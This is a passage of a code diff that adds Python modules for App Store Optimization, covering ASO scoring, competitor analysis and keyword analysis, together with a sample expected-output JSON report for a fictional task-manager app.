self.BENCHMARKS['keywords_top_10']['min']: + proportion = (top_10_count - self.BENCHMARKS['keywords_top_10']['min']) / \ + (self.BENCHMARKS['keywords_top_10']['target'] - self.BENCHMARKS['keywords_top_10']['min']) + top_10_score = 25 + (proportion * 25) + else: + top_10_score = (top_10_count / self.BENCHMARKS['keywords_top_10']['min']) * 25 + + # Top 50 score (0-30 points) + if top_50_count >= self.BENCHMARKS['keywords_top_50']['target']: + top_50_score = 30 + elif top_50_count >= self.BENCHMARKS['keywords_top_50']['min']: + proportion = (top_50_count - self.BENCHMARKS['keywords_top_50']['min']) / \ + (self.BENCHMARKS['keywords_top_50']['target'] - self.BENCHMARKS['keywords_top_50']['min']) + top_50_score = 15 + (proportion * 15) + else: + top_50_score = (top_50_count / self.BENCHMARKS['keywords_top_50']['min']) * 15 + + # Coverage score (0-10 points) - based on top 100 + coverage_score = min((top_100_count / 30) * 10, 10) + + # Trend score (0-10 points) - are rankings improving? + if improving_keywords > 5: + trend_score = 10 + elif improving_keywords > 0: + trend_score = 5 + else: + trend_score = 0 + + total_score = top_10_score + top_50_score + coverage_score + trend_score + + return round(min(total_score, 100), 1) + + def score_conversion_metrics(self, conversion: Dict[str, Any]) -> float: + """ + Score conversion performance (0-100). + + Evaluates: + - Impression-to-install conversion rate + - Download velocity + """ + conversion_rate = conversion.get('impression_to_install', 0.0) + downloads_30d = conversion.get('downloads_last_30_days', 0) + downloads_trend = conversion.get('downloads_trend', 'stable') # 'up', 'stable', 'down' + + # Conversion rate score (0-70 points) + if conversion_rate >= self.BENCHMARKS['conversion_rate']['target']: + conversion_score = 70 + elif conversion_rate >= self.BENCHMARKS['conversion_rate']['min']: + proportion = (conversion_rate - self.BENCHMARKS['conversion_rate']['min']) / \ + (self.BENCHMARKS['conversion_rate']['target'] - self.BENCHMARKS['conversion_rate']['min']) + conversion_score = 35 + (proportion * 35) + else: + conversion_score = (conversion_rate / self.BENCHMARKS['conversion_rate']['min']) * 35 + + # Download velocity score (0-20 points) + if downloads_30d > 10000: + velocity_score = 20 + elif downloads_30d > 1000: + velocity_score = 15 + elif downloads_30d > 100: + velocity_score = 10 + else: + velocity_score = 5 + + # Trend bonus (0-10 points) + if downloads_trend == 'up': + trend_score = 10 + elif downloads_trend == 'stable': + trend_score = 5 + else: + trend_score = 0 + + total_score = conversion_score + velocity_score + trend_score + + return round(min(total_score, 100), 1) + + def generate_recommendations( + self, + metadata_score: float, + ratings_score: float, + keyword_score: float, + conversion_score: float + ) -> List[Dict[str, Any]]: + """Generate prioritized recommendations based on scores.""" + recommendations = [] + + # Metadata recommendations + if metadata_score < 60: + recommendations.append({ + 'category': 'metadata_quality', + 'priority': 'high', + 'action': 'Optimize app title and description', + 'details': 'Add more keywords to title, expand description to 1500-2000 characters, improve keyword density to 3-5%', + 'expected_impact': 'Improve discoverability and ranking potential' + }) + elif metadata_score < 80: + recommendations.append({ + 'category': 'metadata_quality', + 'priority': 'medium', + 'action': 'Refine metadata for better keyword targeting', + 'details': 'Test variations of title/subtitle, optimize keyword field for Apple', + 'expected_impact': 'Incremental ranking improvements' + }) + + # Ratings recommendations + if ratings_score < 60: + recommendations.append({ + 'category': 'ratings_reviews', + 'priority': 'high', + 'action': 'Improve rating quality and volume', + 'details': 'Address top user complaints, implement in-app rating prompts, respond to negative reviews', + 'expected_impact': 'Better conversion rates and trust signals' + }) + elif ratings_score < 80: + recommendations.append({ + 'category': 'ratings_reviews', + 'priority': 'medium', + 'action': 'Increase rating velocity', + 'details': 'Optimize timing of rating requests, encourage satisfied users to rate', + 'expected_impact': 'Sustained rating quality' + }) + + # Keyword performance recommendations + if keyword_score < 60: + recommendations.append({ + 'category': 'keyword_performance', + 'priority': 'high', + 'action': 'Improve keyword rankings', + 'details': 'Target long-tail keywords with lower competition, update metadata with high-potential keywords, build backlinks', + 'expected_impact': 'Significant improvement in organic visibility' + }) + elif keyword_score < 80: + recommendations.append({ + 'category': 'keyword_performance', + 'priority': 'medium', + 'action': 'Expand keyword coverage', + 'details': 'Target additional related keywords, test seasonal keywords, localize for new markets', + 'expected_impact': 'Broader reach and more discovery opportunities' + }) + + # Conversion recommendations + if conversion_score < 60: + recommendations.append({ + 'category': 'conversion_metrics', + 'priority': 'high', + 'action': 'Optimize store listing for conversions', + 'details': 'Improve screenshots and icon, strengthen value proposition in description, add video preview', + 'expected_impact': 'Higher impression-to-install conversion' + }) + elif conversion_score < 80: + recommendations.append({ + 'category': 'conversion_metrics', + 'priority': 'medium', + 'action': 'Test visual asset variations', + 'details': 'A/B test different icon designs and screenshot sequences', + 'expected_impact': 'Incremental conversion improvements' + }) + + return recommendations + + def _assess_health_status(self, overall_score: float) -> str: + """Assess overall ASO health status.""" + if overall_score >= 80: + return "Excellent - Top-tier ASO performance" + elif overall_score >= 65: + return "Good - Competitive ASO with room for improvement" + elif overall_score >= 50: + return "Fair - Needs strategic improvements" + else: + return "Poor - Requires immediate ASO overhaul" + + def _prioritize_actions( + self, + recommendations: List[Dict[str, Any]] + ) -> List[Dict[str, Any]]: + """Prioritize actions by impact and urgency.""" + # Sort by priority (high first) and expected impact + priority_order = {'high': 0, 'medium': 1, 'low': 2} + + sorted_recommendations = sorted( + recommendations, + key=lambda x: priority_order[x['priority']] + ) + + return sorted_recommendations[:3] # Top 3 priority actions + + def _identify_strengths(self, score_breakdown: Dict[str, Any]) -> List[str]: + """Identify areas of strength (scores >= 75).""" + strengths = [] + + for category, data in score_breakdown.items(): + if data['score'] >= 75: + strengths.append( + f"{category.replace('_', ' ').title()}: {data['score']}/100" + ) + + return strengths if strengths else ["Focus on building strengths across all areas"] + + def _identify_weaknesses(self, score_breakdown: Dict[str, Any]) -> List[str]: + """Identify areas needing improvement (scores < 60).""" + weaknesses = [] + + for category, data in score_breakdown.items(): + if data['score'] < 60: + weaknesses.append( + f"{category.replace('_', ' ').title()}: {data['score']}/100 - needs improvement" + ) + + return weaknesses if weaknesses else ["All areas performing adequately"] + + +def calculate_aso_score( + metadata: Dict[str, Any], + ratings: Dict[str, Any], + keyword_performance: Dict[str, Any], + conversion: Dict[str, Any] +) -> Dict[str, Any]: + """ + Convenience function to calculate ASO score. + + Args: + metadata: Metadata quality metrics + ratings: Ratings data + keyword_performance: Keyword ranking data + conversion: Conversion metrics + + Returns: + Complete ASO score report + """ + scorer = ASOScorer() + return scorer.calculate_overall_score( + metadata, + ratings, + keyword_performance, + conversion + ) diff --git a/skills/app-store-optimization/competitor_analyzer.py b/skills/app-store-optimization/competitor_analyzer.py new file mode 100644 index 00000000..9f84575b --- /dev/null +++ b/skills/app-store-optimization/competitor_analyzer.py @@ -0,0 +1,577 @@ +""" +Competitor analysis module for App Store Optimization. +Analyzes top competitors' ASO strategies and identifies opportunities. +""" + +from typing import Dict, List, Any, Optional +from collections import Counter +import re + + +class CompetitorAnalyzer: + """Analyzes competitor apps to identify ASO opportunities.""" + + def __init__(self, category: str, platform: str = 'apple'): + """ + Initialize competitor analyzer. + + Args: + category: App category (e.g., "Productivity", "Games") + platform: 'apple' or 'google' + """ + self.category = category + self.platform = platform + self.competitors = [] + + def analyze_competitor( + self, + app_data: Dict[str, Any] + ) -> Dict[str, Any]: + """ + Analyze a single competitor's ASO strategy. + + Args: + app_data: Dictionary with app_name, title, description, rating, ratings_count, keywords + + Returns: + Comprehensive competitor analysis + """ + app_name = app_data.get('app_name', '') + title = app_data.get('title', '') + description = app_data.get('description', '') + rating = app_data.get('rating', 0.0) + ratings_count = app_data.get('ratings_count', 0) + keywords = app_data.get('keywords', []) + + analysis = { + 'app_name': app_name, + 'title_analysis': self._analyze_title(title), + 'description_analysis': self._analyze_description(description), + 'keyword_strategy': self._extract_keyword_strategy(title, description, keywords), + 'rating_metrics': { + 'rating': rating, + 'ratings_count': ratings_count, + 'rating_quality': self._assess_rating_quality(rating, ratings_count) + }, + 'competitive_strength': self._calculate_competitive_strength( + rating, + ratings_count, + len(description) + ), + 'key_differentiators': self._identify_differentiators(description) + } + + self.competitors.append(analysis) + return analysis + + def compare_competitors( + self, + competitors_data: List[Dict[str, Any]] + ) -> Dict[str, Any]: + """ + Compare multiple competitors and identify patterns. + + Args: + competitors_data: List of competitor data dictionaries + + Returns: + Comparative analysis with insights + """ + # Analyze each competitor + analyses = [] + for comp_data in competitors_data: + analysis = self.analyze_competitor(comp_data) + analyses.append(analysis) + + # Extract common keywords across competitors + all_keywords = [] + for analysis in analyses: + all_keywords.extend(analysis['keyword_strategy']['primary_keywords']) + + common_keywords = self._find_common_keywords(all_keywords) + + # Identify keyword gaps (used by some but not all) + keyword_gaps = self._identify_keyword_gaps(analyses) + + # Rank competitors by strength + ranked_competitors = sorted( + analyses, + key=lambda x: x['competitive_strength'], + reverse=True + ) + + # Analyze rating distribution + rating_analysis = self._analyze_rating_distribution(analyses) + + # Identify best practices + best_practices = self._identify_best_practices(ranked_competitors) + + return { + 'category': self.category, + 'platform': self.platform, + 'competitors_analyzed': len(analyses), + 'ranked_competitors': ranked_competitors, + 'common_keywords': common_keywords, + 'keyword_gaps': keyword_gaps, + 'rating_analysis': rating_analysis, + 'best_practices': best_practices, + 'opportunities': self._identify_opportunities( + analyses, + common_keywords, + keyword_gaps + ) + } + + def identify_gaps( + self, + your_app_data: Dict[str, Any], + competitors_data: List[Dict[str, Any]] + ) -> Dict[str, Any]: + """ + Identify gaps between your app and competitors. + + Args: + your_app_data: Your app's data + competitors_data: List of competitor data + + Returns: + Gap analysis with actionable recommendations + """ + # Analyze your app + your_analysis = self.analyze_competitor(your_app_data) + + # Analyze competitors + competitor_comparison = self.compare_competitors(competitors_data) + + # Identify keyword gaps + your_keywords = set(your_analysis['keyword_strategy']['primary_keywords']) + competitor_keywords = set(competitor_comparison['common_keywords']) + missing_keywords = competitor_keywords - your_keywords + + # Identify rating gap + avg_competitor_rating = competitor_comparison['rating_analysis']['average_rating'] + rating_gap = avg_competitor_rating - your_analysis['rating_metrics']['rating'] + + # Identify description length gap + avg_competitor_desc_length = sum( + len(comp['description_analysis']['text']) + for comp in competitor_comparison['ranked_competitors'] + ) / len(competitor_comparison['ranked_competitors']) + your_desc_length = len(your_analysis['description_analysis']['text']) + desc_length_gap = avg_competitor_desc_length - your_desc_length + + return { + 'your_app': your_analysis, + 'keyword_gaps': { + 'missing_keywords': list(missing_keywords)[:10], + 'recommendations': self._generate_keyword_recommendations(missing_keywords) + }, + 'rating_gap': { + 'your_rating': your_analysis['rating_metrics']['rating'], + 'average_competitor_rating': avg_competitor_rating, + 'gap': round(rating_gap, 2), + 'action_items': self._generate_rating_improvement_actions(rating_gap) + }, + 'content_gap': { + 'your_description_length': your_desc_length, + 'average_competitor_length': int(avg_competitor_desc_length), + 'gap': int(desc_length_gap), + 'recommendations': self._generate_content_recommendations(desc_length_gap) + }, + 'competitive_positioning': self._assess_competitive_position( + your_analysis, + competitor_comparison + ) + } + + def _analyze_title(self, title: str) -> Dict[str, Any]: + """Analyze title structure and keyword usage.""" + parts = re.split(r'[-:|]', title) + + return { + 'title': title, + 'length': len(title), + 'has_brand': len(parts) > 0, + 'has_keywords': len(parts) > 1, + 'components': [part.strip() for part in parts], + 'word_count': len(title.split()), + 'strategy': 'brand_plus_keywords' if len(parts) > 1 else 'brand_only' + } + + def _analyze_description(self, description: str) -> Dict[str, Any]: + """Analyze description structure and content.""" + lines = description.split('\n') + word_count = len(description.split()) + + # Check for structural elements + has_bullet_points = '•' in description or '*' in description + has_sections = any(line.isupper() for line in lines if len(line) > 0) + has_call_to_action = any( + cta in description.lower() + for cta in ['download', 'try', 'get', 'start', 'join'] + ) + + # Extract features mentioned + features = self._extract_features(description) + + return { + 'text': description, + 'length': len(description), + 'word_count': word_count, + 'structure': { + 'has_bullet_points': has_bullet_points, + 'has_sections': has_sections, + 'has_call_to_action': has_call_to_action + }, + 'features_mentioned': features, + 'readability': 'good' if 50 <= word_count <= 300 else 'needs_improvement' + } + + def _extract_keyword_strategy( + self, + title: str, + description: str, + explicit_keywords: List[str] + ) -> Dict[str, Any]: + """Extract keyword strategy from metadata.""" + # Extract keywords from title + title_keywords = [word.lower() for word in title.split() if len(word) > 3] + + # Extract frequently used words from description + desc_words = re.findall(r'\b\w{4,}\b', description.lower()) + word_freq = Counter(desc_words) + frequent_words = [word for word, count in word_freq.most_common(15) if count > 2] + + # Combine with explicit keywords + all_keywords = list(set(title_keywords + frequent_words + explicit_keywords)) + + return { + 'primary_keywords': title_keywords, + 'description_keywords': frequent_words[:10], + 'explicit_keywords': explicit_keywords, + 'total_unique_keywords': len(all_keywords), + 'keyword_focus': self._assess_keyword_focus(title_keywords, frequent_words) + } + + def _assess_rating_quality(self, rating: float, ratings_count: int) -> str: + """Assess the quality of ratings.""" + if ratings_count < 100: + return 'insufficient_data' + elif rating >= 4.5 and ratings_count > 1000: + return 'excellent' + elif rating >= 4.0 and ratings_count > 500: + return 'good' + elif rating >= 3.5: + return 'average' + else: + return 'poor' + + def _calculate_competitive_strength( + self, + rating: float, + ratings_count: int, + description_length: int + ) -> float: + """ + Calculate overall competitive strength (0-100). + + Factors: + - Rating quality (40%) + - Rating volume (30%) + - Metadata quality (30%) + """ + # Rating quality score (0-40) + rating_score = (rating / 5.0) * 40 + + # Rating volume score (0-30) + volume_score = min((ratings_count / 10000) * 30, 30) + + # Metadata quality score (0-30) + metadata_score = min((description_length / 2000) * 30, 30) + + total_score = rating_score + volume_score + metadata_score + + return round(total_score, 1) + + def _identify_differentiators(self, description: str) -> List[str]: + """Identify key differentiators from description.""" + differentiator_keywords = [ + 'unique', 'only', 'first', 'best', 'leading', 'exclusive', + 'revolutionary', 'innovative', 'patent', 'award' + ] + + differentiators = [] + sentences = description.split('.') + + for sentence in sentences: + sentence_lower = sentence.lower() + if any(keyword in sentence_lower for keyword in differentiator_keywords): + differentiators.append(sentence.strip()) + + return differentiators[:5] + + def _find_common_keywords(self, all_keywords: List[str]) -> List[str]: + """Find keywords used by multiple competitors.""" + keyword_counts = Counter(all_keywords) + # Return keywords used by at least 2 competitors + common = [kw for kw, count in keyword_counts.items() if count >= 2] + return sorted(common, key=lambda x: keyword_counts[x], reverse=True)[:20] + + def _identify_keyword_gaps(self, analyses: List[Dict[str, Any]]) -> List[Dict[str, Any]]: + """Identify keywords used by some competitors but not others.""" + all_keywords_by_app = {} + + for analysis in analyses: + app_name = analysis['app_name'] + keywords = analysis['keyword_strategy']['primary_keywords'] + all_keywords_by_app[app_name] = set(keywords) + + # Find keywords used by some but not all + all_keywords_set = set() + for keywords in all_keywords_by_app.values(): + all_keywords_set.update(keywords) + + gaps = [] + for keyword in all_keywords_set: + using_apps = [ + app for app, keywords in all_keywords_by_app.items() + if keyword in keywords + ] + if 1 < len(using_apps) < len(analyses): + gaps.append({ + 'keyword': keyword, + 'used_by': using_apps, + 'usage_percentage': round(len(using_apps) / len(analyses) * 100, 1) + }) + + return sorted(gaps, key=lambda x: x['usage_percentage'], reverse=True)[:15] + + def _analyze_rating_distribution(self, analyses: List[Dict[str, Any]]) -> Dict[str, Any]: + """Analyze rating distribution across competitors.""" + ratings = [a['rating_metrics']['rating'] for a in analyses] + ratings_counts = [a['rating_metrics']['ratings_count'] for a in analyses] + + return { + 'average_rating': round(sum(ratings) / len(ratings), 2), + 'highest_rating': max(ratings), + 'lowest_rating': min(ratings), + 'average_ratings_count': int(sum(ratings_counts) / len(ratings_counts)), + 'total_ratings_in_category': sum(ratings_counts) + } + + def _identify_best_practices(self, ranked_competitors: List[Dict[str, Any]]) -> List[str]: + """Identify best practices from top competitors.""" + if not ranked_competitors: + return [] + + top_competitor = ranked_competitors[0] + practices = [] + + # Title strategy + title_analysis = top_competitor['title_analysis'] + if title_analysis['has_keywords']: + practices.append( + f"Title Strategy: Include primary keyword in title (e.g., '{title_analysis['title']}')" + ) + + # Description structure + desc_analysis = top_competitor['description_analysis'] + if desc_analysis['structure']['has_bullet_points']: + practices.append("Description: Use bullet points to highlight key features") + + if desc_analysis['structure']['has_sections']: + practices.append("Description: Organize content with clear section headers") + + # Rating strategy + rating_quality = top_competitor['rating_metrics']['rating_quality'] + if rating_quality in ['excellent', 'good']: + practices.append( + f"Ratings: Maintain high rating quality ({top_competitor['rating_metrics']['rating']}★) " + f"with significant volume ({top_competitor['rating_metrics']['ratings_count']} ratings)" + ) + + return practices[:5] + + def _identify_opportunities( + self, + analyses: List[Dict[str, Any]], + common_keywords: List[str], + keyword_gaps: List[Dict[str, Any]] + ) -> List[str]: + """Identify ASO opportunities based on competitive analysis.""" + opportunities = [] + + # Keyword opportunities from gaps + if keyword_gaps: + underutilized_keywords = [ + gap['keyword'] for gap in keyword_gaps + if gap['usage_percentage'] < 50 + ] + if underutilized_keywords: + opportunities.append( + f"Target underutilized keywords: {', '.join(underutilized_keywords[:5])}" + ) + + # Rating opportunity + avg_rating = sum(a['rating_metrics']['rating'] for a in analyses) / len(analyses) + if avg_rating < 4.5: + opportunities.append( + f"Category average rating is {avg_rating:.1f} - opportunity to differentiate with higher ratings" + ) + + # Content depth opportunity + avg_desc_length = sum( + a['description_analysis']['length'] for a in analyses + ) / len(analyses) + if avg_desc_length < 1500: + opportunities.append( + "Competitors have relatively short descriptions - opportunity to provide more comprehensive information" + ) + + return opportunities[:5] + + def _extract_features(self, description: str) -> List[str]: + """Extract feature mentions from description.""" + # Look for bullet points or numbered lists + lines = description.split('\n') + features = [] + + for line in lines: + line = line.strip() + # Check if line starts with bullet or number + if line and (line[0] in ['•', '*', '-', '✓'] or line[0].isdigit()): + # Clean the line + cleaned = re.sub(r'^[•*\-✓\d.)\s]+', '', line) + if cleaned: + features.append(cleaned) + + return features[:10] + + def _assess_keyword_focus( + self, + title_keywords: List[str], + description_keywords: List[str] + ) -> str: + """Assess keyword focus strategy.""" + overlap = set(title_keywords) & set(description_keywords) + + if len(overlap) >= 3: + return 'consistent_focus' + elif len(overlap) >= 1: + return 'moderate_focus' + else: + return 'broad_focus' + + def _generate_keyword_recommendations(self, missing_keywords: set) -> List[str]: + """Generate recommendations for missing keywords.""" + if not missing_keywords: + return ["Your keyword coverage is comprehensive"] + + recommendations = [] + missing_list = list(missing_keywords)[:5] + + recommendations.append( + f"Consider adding these competitor keywords: {', '.join(missing_list)}" + ) + recommendations.append( + "Test keyword variations in subtitle/promotional text first" + ) + recommendations.append( + "Monitor competitor keyword changes monthly" + ) + + return recommendations + + def _generate_rating_improvement_actions(self, rating_gap: float) -> List[str]: + """Generate actions to improve ratings.""" + actions = [] + + if rating_gap > 0.5: + actions.append("CRITICAL: Significant rating gap - prioritize user satisfaction improvements") + actions.append("Analyze negative reviews to identify top issues") + actions.append("Implement in-app rating prompts after positive experiences") + actions.append("Respond to all negative reviews professionally") + elif rating_gap > 0.2: + actions.append("Focus on incremental improvements to close rating gap") + actions.append("Optimize timing of rating requests") + else: + actions.append("Ratings are competitive - maintain quality and continue improvements") + + return actions + + def _generate_content_recommendations(self, desc_length_gap: int) -> List[str]: + """Generate content recommendations based on length gap.""" + recommendations = [] + + if desc_length_gap > 500: + recommendations.append( + "Expand description to match competitor detail level" + ) + recommendations.append( + "Add use case examples and success stories" + ) + recommendations.append( + "Include more feature explanations and benefits" + ) + elif desc_length_gap < -500: + recommendations.append( + "Consider condensing description for better readability" + ) + recommendations.append( + "Focus on most important features first" + ) + else: + recommendations.append( + "Description length is competitive" + ) + + return recommendations + + def _assess_competitive_position( + self, + your_analysis: Dict[str, Any], + competitor_comparison: Dict[str, Any] + ) -> str: + """Assess your competitive position.""" + your_strength = your_analysis['competitive_strength'] + competitors = competitor_comparison['ranked_competitors'] + + if not competitors: + return "No comparison data available" + + # Find where you'd rank + better_than_count = sum( + 1 for comp in competitors + if your_strength > comp['competitive_strength'] + ) + + position_percentage = (better_than_count / len(competitors)) * 100 + + if position_percentage >= 75: + return "Strong Position: Top quartile in competitive strength" + elif position_percentage >= 50: + return "Competitive Position: Above average, opportunities for improvement" + elif position_percentage >= 25: + return "Challenging Position: Below average, requires strategic improvements" + else: + return "Weak Position: Bottom quartile, major ASO overhaul needed" + + +def analyze_competitor_set( + category: str, + competitors_data: List[Dict[str, Any]], + platform: str = 'apple' +) -> Dict[str, Any]: + """ + Convenience function to analyze a set of competitors. + + Args: + category: App category + competitors_data: List of competitor data + platform: 'apple' or 'google' + + Returns: + Complete competitive analysis + """ + analyzer = CompetitorAnalyzer(category, platform) + return analyzer.compare_competitors(competitors_data) diff --git a/skills/app-store-optimization/expected_output.json b/skills/app-store-optimization/expected_output.json new file mode 100644 index 00000000..9832693a --- /dev/null +++ b/skills/app-store-optimization/expected_output.json @@ -0,0 +1,170 @@ +{ + "request_type": "keyword_research", + "app_name": "TaskFlow Pro", + "keyword_analysis": { + "total_keywords_analyzed": 25, + "primary_keywords": [ + { + "keyword": "task manager", + "search_volume": 45000, + "competition_level": "high", + "relevance_score": 0.95, + "difficulty_score": 72.5, + "potential_score": 78.3, + "recommendation": "High priority - target immediately" + }, + { + "keyword": "productivity app", + "search_volume": 38000, + "competition_level": "high", + "relevance_score": 0.90, + "difficulty_score": 68.2, + "potential_score": 75.1, + "recommendation": "High priority - target immediately" + }, + { + "keyword": "todo list", + "search_volume": 52000, + "competition_level": "very_high", + "relevance_score": 0.85, + "difficulty_score": 78.9, + "potential_score": 71.4, + "recommendation": "High priority - target immediately" + } + ], + "secondary_keywords": [ + { + "keyword": "team task manager", + "search_volume": 8500, + "competition_level": "medium", + "relevance_score": 0.88, + "difficulty_score": 42.3, + "potential_score": 68.7, + "recommendation": "Good opportunity - include in metadata" + }, + { + "keyword": "project planning app", + "search_volume": 12000, + "competition_level": "medium", + "relevance_score": 0.75, + "difficulty_score": 48.1, + "potential_score": 64.2, + "recommendation": "Good opportunity - include in metadata" + } + ], + "long_tail_keywords": [ + { + "keyword": "ai task prioritization", + "search_volume": 2800, + "competition_level": "low", + "relevance_score": 0.95, + "difficulty_score": 25.4, + "potential_score": 82.6, + "recommendation": "Excellent long-tail opportunity" + }, + { + "keyword": "team productivity tool", + "search_volume": 3500, + "competition_level": "low", + "relevance_score": 0.85, + "difficulty_score": 28.7, + "potential_score": 79.3, + "recommendation": "Excellent long-tail opportunity" + } + ] + }, + "competitor_insights": { + "competitors_analyzed": 4, + "common_keywords": [ + "task", + "todo", + "list", + "productivity", + "organize", + "manage" + ], + "keyword_gaps": [ + { + "keyword": "ai prioritization", + "used_by": ["None of the major competitors"], + "opportunity": "Unique positioning opportunity" + }, + { + "keyword": "smart task manager", + "used_by": ["Things 3"], + "opportunity": "Underutilized by most competitors" + } + ] + }, + "metadata_recommendations": { + "apple_app_store": { + "title_options": [ + { + "title": "TaskFlow - AI Task Manager", + "length": 26, + "keywords_included": ["task manager", "ai"], + "strategy": "brand_plus_primary" + }, + { + "title": "TaskFlow: Smart Todo & Tasks", + "length": 29, + "keywords_included": ["todo", "tasks"], + "strategy": "brand_plus_multiple" + } + ], + "subtitle_recommendation": "AI-Powered Team Productivity", + "keyword_field": "productivity,organize,planner,schedule,workflow,reminders,collaboration,calendar,sync,priorities", + "description_focus": "Lead with AI differentiation, emphasize team features" + }, + "google_play_store": { + "title_options": [ + { + "title": "TaskFlow - AI Task Manager & Team Productivity", + "length": 48, + "keywords_included": ["task manager", "ai", "team", "productivity"], + "strategy": "keyword_rich" + } + ], + "short_description_recommendation": "AI task manager - Organize, prioritize, and collaborate with your team", + "description_focus": "Keywords naturally integrated throughout 4000 character description" + } + }, + "strategic_recommendations": [ + "Focus on 'AI prioritization' as unique differentiator - low competition, high relevance", + "Target 'team task manager' and 'team productivity' keywords - good search volume, lower competition than generic terms", + "Include long-tail keywords in description for additional discovery opportunities", + "Test title variations with A/B testing after launch", + "Monitor competitor keyword changes quarterly" + ], + "priority_actions": [ + { + "action": "Optimize app title with primary keyword", + "priority": "high", + "expected_impact": "15-25% improvement in search visibility" + }, + { + "action": "Create description highlighting AI features with natural keyword integration", + "priority": "high", + "expected_impact": "10-15% improvement in conversion rate" + }, + { + "action": "Plan A/B tests for icon and screenshots post-launch", + "priority": "medium", + "expected_impact": "5-10% improvement in conversion rate" + } + ], + "aso_health_estimate": { + "current_score": "N/A (pre-launch)", + "potential_score_with_optimizations": "75-80/100", + "key_strengths": [ + "Unique AI differentiation", + "Clear target audience", + "Strong feature set" + ], + "areas_to_develop": [ + "Build rating volume post-launch", + "Monitor and respond to reviews", + "Continuous keyword optimization" + ] + } +} diff --git a/skills/app-store-optimization/keyword_analyzer.py b/skills/app-store-optimization/keyword_analyzer.py new file mode 100644 index 00000000..5c3d80ba --- /dev/null +++ b/skills/app-store-optimization/keyword_analyzer.py @@ -0,0 +1,406 @@ +""" +Keyword analysis module for App Store Optimization. +Analyzes keyword search volume, competition, and relevance for app discovery. +""" + +from typing import Dict, List, Any, Optional, Tuple +import re +from collections import Counter + + +class KeywordAnalyzer: + """Analyzes keywords for ASO effectiveness.""" + + # Competition level thresholds (based on number of competing apps) + COMPETITION_THRESHOLDS = { + 'low': 1000, + 'medium': 5000, + 'high': 10000 + } + + # Search volume categories (monthly searches estimate) + VOLUME_CATEGORIES = { + 'very_low': 1000, + 'low': 5000, + 'medium': 20000, + 'high': 100000, + 'very_high': 500000 + } + + def __init__(self): + """Initialize keyword analyzer.""" + self.analyzed_keywords = {} + + def analyze_keyword( + self, + keyword: str, + search_volume: int = 0, + competing_apps: int = 0, + relevance_score: float = 0.0 + ) -> Dict[str, Any]: + """ + Analyze a single keyword for ASO potential. + + Args: + keyword: The keyword to analyze + search_volume: Estimated monthly search volume + competing_apps: Number of apps competing for this keyword + relevance_score: Relevance to your app (0.0-1.0) + + Returns: + Dictionary with keyword analysis + """ + competition_level = self._calculate_competition_level(competing_apps) + volume_category = self._categorize_search_volume(search_volume) + difficulty_score = self._calculate_keyword_difficulty( + search_volume, + competing_apps + ) + + # Calculate potential score (0-100) + potential_score = self._calculate_potential_score( + search_volume, + competing_apps, + relevance_score + ) + + analysis = { + 'keyword': keyword, + 'search_volume': search_volume, + 'volume_category': volume_category, + 'competing_apps': competing_apps, + 'competition_level': competition_level, + 'relevance_score': relevance_score, + 'difficulty_score': difficulty_score, + 'potential_score': potential_score, + 'recommendation': self._generate_recommendation( + potential_score, + difficulty_score, + relevance_score + ), + 'keyword_length': len(keyword.split()), + 'is_long_tail': len(keyword.split()) >= 3 + } + + self.analyzed_keywords[keyword] = analysis + return analysis + + def compare_keywords(self, keywords_data: List[Dict[str, Any]]) -> Dict[str, Any]: + """ + Compare multiple keywords and rank by potential. + + Args: + keywords_data: List of dicts with keyword, search_volume, competing_apps, relevance_score + + Returns: + Comparison report with ranked keywords + """ + analyses = [] + for kw_data in keywords_data: + analysis = self.analyze_keyword( + keyword=kw_data['keyword'], + search_volume=kw_data.get('search_volume', 0), + competing_apps=kw_data.get('competing_apps', 0), + relevance_score=kw_data.get('relevance_score', 0.0) + ) + analyses.append(analysis) + + # Sort by potential score (descending) + ranked_keywords = sorted( + analyses, + key=lambda x: x['potential_score'], + reverse=True + ) + + # Categorize keywords + primary_keywords = [ + kw for kw in ranked_keywords + if kw['potential_score'] >= 70 and kw['relevance_score'] >= 0.8 + ] + + secondary_keywords = [ + kw for kw in ranked_keywords + if 50 <= kw['potential_score'] < 70 and kw['relevance_score'] >= 0.6 + ] + + long_tail_keywords = [ + kw for kw in ranked_keywords + if kw['is_long_tail'] and kw['relevance_score'] >= 0.7 + ] + + return { + 'total_keywords_analyzed': len(analyses), + 'ranked_keywords': ranked_keywords, + 'primary_keywords': primary_keywords[:5], # Top 5 + 'secondary_keywords': secondary_keywords[:10], # Top 10 + 'long_tail_keywords': long_tail_keywords[:10], # Top 10 + 'summary': self._generate_comparison_summary( + primary_keywords, + secondary_keywords, + long_tail_keywords + ) + } + + def find_long_tail_opportunities( + self, + base_keyword: str, + modifiers: List[str] + ) -> List[Dict[str, Any]]: + """ + Generate long-tail keyword variations. + + Args: + base_keyword: Core keyword (e.g., "task manager") + modifiers: List of modifiers (e.g., ["free", "simple", "team"]) + + Returns: + List of long-tail keyword suggestions + """ + long_tail_keywords = [] + + # Generate combinations + for modifier in modifiers: + # Modifier + base + variation1 = f"{modifier} {base_keyword}" + long_tail_keywords.append({ + 'keyword': variation1, + 'pattern': 'modifier_base', + 'estimated_competition': 'low', + 'rationale': f"Less competitive variation of '{base_keyword}'" + }) + + # Base + modifier + variation2 = f"{base_keyword} {modifier}" + long_tail_keywords.append({ + 'keyword': variation2, + 'pattern': 'base_modifier', + 'estimated_competition': 'low', + 'rationale': f"Specific use-case variation of '{base_keyword}'" + }) + + # Add question-based long-tail + question_words = ['how', 'what', 'best', 'top'] + for q_word in question_words: + question_keyword = f"{q_word} {base_keyword}" + long_tail_keywords.append({ + 'keyword': question_keyword, + 'pattern': 'question_based', + 'estimated_competition': 'very_low', + 'rationale': f"Informational search query" + }) + + return long_tail_keywords + + def extract_keywords_from_text( + self, + text: str, + min_word_length: int = 3 + ) -> List[Tuple[str, int]]: + """ + Extract potential keywords from text (descriptions, reviews). + + Args: + text: Text to analyze + min_word_length: Minimum word length to consider + + Returns: + List of (keyword, frequency) tuples + """ + # Clean and normalize text + text = text.lower() + text = re.sub(r'[^\w\s]', ' ', text) + + # Extract words + words = text.split() + + # Filter by length + words = [w for w in words if len(w) >= min_word_length] + + # Remove common stop words + stop_words = { + 'the', 'and', 'for', 'with', 'this', 'that', 'from', 'have', + 'but', 'not', 'you', 'all', 'can', 'are', 'was', 'were', 'been' + } + words = [w for w in words if w not in stop_words] + + # Count frequency + word_counts = Counter(words) + + # Extract 2-word phrases + phrases = [] + for i in range(len(words) - 1): + phrase = f"{words[i]} {words[i+1]}" + phrases.append(phrase) + + phrase_counts = Counter(phrases) + + # Combine and sort + all_keywords = list(word_counts.items()) + 